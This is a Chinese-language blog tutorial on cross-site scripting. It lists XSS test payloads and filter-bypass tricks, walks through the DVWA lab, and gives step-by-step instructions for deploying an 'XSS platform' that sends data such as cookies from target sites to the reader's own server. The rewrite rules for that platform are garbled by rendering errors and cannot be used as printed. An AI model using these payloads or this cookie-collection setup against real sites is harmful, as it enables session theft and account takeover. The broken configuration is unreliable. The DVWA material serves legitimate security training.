一、跨站脚本攻击过程

二、XSS攻击定义及危害

三、XSS攻击常见分类


例:反射型
例:存储型

例:DOM型

四、XSS攻击常见编码


例:

编码后:

五、XSS常见测试语句

Script 标签
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

Src属性
<img src=x οnerrοr=prompt(1);>
<img/src=aaa.jpg οnerrοr=prompt(1);>
<video src=x οnerrοr=prompt(1);>
<audio src=x οnerrοr=prompt(1);>

事件触发
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/

a标签
2 //可以去掉双引号
<a href=javascript:eval(“\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29”)>2 //不能去掉双引号
<a href=javascript:eval(“alert(‘xss’)”)>2 //可以去掉双引号
原code:
<a href=javascript:eval(“alert(‘xss’)”)>2
<a href=“javascript:aaa” οnmοuseοver=“alert(/xss/)”>22222222

input 标签
<input value=“” οnclick=“alert(xss)” type=“text”>
<INPUT name=“name” value=“01/01/1967” οnmοuseοver=prompt(971874) bad=“”>

触发事件
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/

利用0字节绕过
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> //
在IE9及以下版本有效。

svg标签
当返回结果在svg标签中的时候,会有一个特性

background属性

// 在Opera 10.5和IE6上有效

poster属性
// Opera 10.5以下有效

data属性

code属性

六、DVWA XSS攻击

DOM型
LOW等级

medium等级
直接如上注入,无效果。
查看源代码:

stripos函数过滤了

strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签。

htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素。

可以看到,$message已经被过滤了xss,但是name只是过滤了

七、XSS平台搭建

1、源码及运行环境准备
1)搜索XSS平台下载。
2)安装好phpstudy,在WWW目录下新建一个文件夹,名为xsser。
大家注意了,这里文件夹就叫xsser,别乱改了,因为这个XSS平台源码以前默认是xsser.me这个网站使用的,有些默认设置是用到了xsser这个文件夹,为了避免未知的错误,因此我们老老实实把文件夹的名字命名为xsser,这样可以避免将来不必要的麻烦。
3)将XSS平台的源码解压到xsser目录下

2、导入数据库
1)在导入数据库之前,首先去新建一个空数据库,然后再把数据导进来。
用管理员身份运行phpstudy(注意这点,一定要以管理员身份运行phpstudy,以免出现一些意想不到的情况),点击MYSQL管理器,点击MySql-Front,在左侧找到localhost,右键单击,选择新建,点击数据库:
输入数据库名为:xssplatform
这个数据库名字是配置文件的默认库名,最好就不要去修改了,否则配置文件也得跟着改,何必自找麻烦呢?
然后发现新建了一个名为xssplatform的数据库。
2)在该数据库名上右键单击,选择输入,选择SQL文件,然后将找到xsser文件夹下的xssplatform.sql,字符集选择UTF-8,然后点击打开。这样数据就成功导入数据库中了。

3、修改数据库
由于该数据库中默认设置的域名为xsser.me,如果不加以修改,那么生成的XSS攻击代码就无法发送到我们自己的网站了。
因此我们必须对JS代码进行修改。
单击SQL编辑器,
输入以下命令进行修改:
use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,‘http://xsser.me’,‘此处输入你的域名或公网ip/xsser’);
设置完毕以后按F9运行这三条命令即可。注意这里的前两条命令是为了保险起见,因为按照mysql的语法规则,需要先进入一个库,才能对这个库的数据进行操作,因此我就加了两条,第一条命令表示进入该数据库,第二条命令表示查询oc_module表的内容。

4、修改配置文件
1)config.php
打开xsser文件夹下的config.php文件,需要修改的地方如图所示:

根据右侧的注释可以看出左侧代码具体的含义,数据库的账户密码就根据自己本机的账户密码来填就行了,我的是root,root。数据库的地址要么填localhost,要么填127.0.0.1,都是一样的。第22行输入自己的网址,后面的/xsser注意别漏了。
比如你的公网ip是101.0.0.0,那么第22行URL的路径为:http://101.0.0.0/xsser
上面第18行那里是设置注册功能开关的,如果设置为normal,表示不需要邀请码就能注册,设置为invite的话,只能通过邀请注册,而如果完全关闭注册,则只要输入close即可。这里我们刚开始搭建,先设置为normal。
2)authtest.php
打开xsser目录下的authtest.php文件,找到第21行,在location后面的url前面的部分改成http://localhost/xsser即可
3)配置.htaccess伪静态文件
.htaccess全称是Hypertext Access(超文本入口),也被称为分布式配置文件,是Apache特有的的针对目录改变配置的方法。通过在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。该文件可以针对不同的目录去做不同的策略。
为了接收到来自目标网站的数据,我们需要配置一个.htaccess文件。
在xssser文件夹下新建一个1.txt文件,然后粘贴以下代码进去:

RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xsser/index.php?do=code&urlKey=KaTeX parse error: Undefined control sequence: \w at position 25: …Rule ^do/auth/(\̲w̲+?)(/domain/([\… /xsser/index.php?do=do&auth=$1&domain= 3 R e w r i t e R u l e r e g i s t e r / ( . ∗ ? ) 3 RewriteRule ^register/(.*?) 3RewriteRuleregister/(.∗?) /xsser/index.php?do=register&key= 1 R e w r i t e R u l e r e g i s t e r − v a l i d a t e / ( . ∗ ? ) 1 RewriteRule ^register-validate/(.*?) 1RewriteRuleregister−validate/(.∗?) /xsser/index.php?do=register&act=validate&key= 1 R e w r i t e R u l e l o g i n 1 RewriteRule ^login 1RewriteRulelogin /xsser/index.php?do=login

注意我们的index.php是在xsser文件夹下的,所以上面每一个index.php前面都有一个/xsser/,读者需要注意这点,假如你不是用xsser文件夹,那么这里也要相应修改。
现在只要把1.txt命名为.htaccess即可。直接重命名是不行的,windows禁止文件名为空,因此我们需要借助命令行来实现。命令行重命名的命令为ren,语法也很简单,就是:
ren 旧文件名 新文件名

5、phpstudy中启动MySQL和Apache服务。
**注意:PHP版本只能是5.3或5.4,否则进入平台时为白屏。
打开浏览器,输入:你的域名/xsser
注册账户,登陆,新建项目。

他山之石

浅谈XSS攻击的那些事(附常用绕过姿势)
DVWA-XSS
各种XSS平台问题锦集
xss平台打cookie登录后台(保姆级教程)

XSS跨站脚本攻击(DVWA XSS攻击详解、XSS平台搭建)相关推荐

  1. “微信之父”张小龙首次演讲实录:详解微信平台四大价值观

    "微信之父"张小龙首次演讲实录:详解微信平台四大价值观(转) 1月11日上午,正在广州举行的"2016 微信公开课PRO版"上,被称为"微信之父&qu ...

  2. Arduino :PWM详解和电路搭建以及示例代码

    Arduino :PWM详解和电路搭建以及示例代码 PWM 调制介绍 脉冲宽度调制是PWM的全称.它是数字编码的模拟信号电平.由于计算机不能输出模拟电压而只有0或5V数字电压值,我们可以应用调制方波占 ...

  3. LNMP搭建过程详解,验证搭建论坛

    LNMP搭建过程详解,验证搭建论坛 一.安装Nginx服务 1.安装依赖包 2.创建运行用户 3.编译安装 4.优化路径 5.添加Nginx 系统服务 二.安装MySQL服务 1.安装Mysql环境依 ...

  4. 详解 XSS 攻击原理

    更多优质博文请关注:听到微笑的博客 跨站脚本攻击(Cross Site Scripting)本来的缩写为CSS,为了与层叠样式表(Cascading Style Sheets,CSS)的缩写进行区分, ...

  5. XSS Challenges stage#1-10闯关详解

    XSS Challenges stage1-10闯关详解 文章目录 XSS Challenges stage1-10闯关详解 0x01 xss challenges 闯关环境准备 1.XSS chal ...

  6. APT攻击检测与防御详解

    文章目录 APT定义 特点概括: 入侵途径: APT特点详解 高级性: 持续性: 威胁性: 隐秘性: 潜伏性: 多态性: 攻击方式: 攻击步骤: APT攻击可以大致分为探测期.入侵期.潜伏期.退出期4 ...

  7. 【转】APT攻击检测与防御详解

    原文连接:https://blog.csdn.net/qq_38232598/article/details/86564172 APT定义 APT(Advanced Persistent Threat ...

  8. FireEye事件新动态:APT 攻击 SolarWinds 全球供应链(详解)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 前几日,火眼公司表示遭某受国家黑客支持的APT组织攻击.昨天,该公司发布调查进展称发现了一起全球性攻击活动,通过软件供应链攻陷了公共和 ...

  9. web 服务器安全维护,Web服务器安全攻击及防护机制详解

    Web安全分为两大类: · Web服务器的安全性(Web服务器本身安全和软件配置). · Web应用程序的安全性(在Web服务器上运行的Java. ActiveX.PHP.ASP代码的安全). Web ...

  10. 短信平台专业版软件客户端功能详解源码搭建|移讯云短信系统

    国际短信平台专业版软件客户端功能详解|移讯云短信系统 首页显示 剩余条数 充值总数 提交总数 成功数量 失败数量 未知数量 代发数量 签名数量 最新提交 平台公告 API接口文档 短信发送 发送短信选 ...

最新文章

  1. Office 365管理员指引 9 ——Lync 自定义会议邀请
  2. Redis存储总用String?你大概错过了更优的使用方法
  3. 爬虫笔记:Python Selenium详解
  4. 计算机老师开场白试讲视频,教师招考试讲模版之开场白
  5. [Java]中[this][super]用法总结
  6. React-概念和基本使用
  7. tensorflow之交叉熵
  8. Ubuntu 18.04 64位安装校园网客户端(完美解决)
  9. UISwitch的大小
  10. Linux间共享文件夹
  11. 电子签章系统解决方案
  12. linux如何打开pkg软件,Linux系统pkg
  13. 在线作图|2分钟做Lefse分析
  14. 天呐!java兼职接单
  15. 《质量总监成长记》笔记
  16. nc: command not found完美解决(linux配置nc命令)
  17. 华为ITR服务变革与转型的启发!ITR与LTC和IPD啥关系?华为许浩明老师分享(原创)
  18. 西安交通大学药物分析专业学硕考研上岸经验分享
  19. 在谈“细节决定成败”
  20. 互联网日报 | 抖音日活用户破6亿;苹果秋季发布会iPhone 12缺席;有赞正式入局支付宝小程序...

热门文章

  1. python xlsx读写实践
  2. Linux集群时间同步
  3. iOS APP开发工具
  4. 2019区块链的19个预测
  5. 【23考研】计算机择校信息库-这些学校计算机考研只考计算机网络
  6. 盘点Win前端开发下常用的软件
  7. TunePat Netflix Video Downloader for Mac(Netflix视频下载器)
  8. LosslessCut for Mac(无损视频剪切工具)
  9. AI插件开发-AIApplicationSuite模块-应用程序-AIActionManagerSuite模块-动作管理-illustrator插件
  10. Android MTK N 平台上如何在桌面上添加未接来电和未接信息数字角标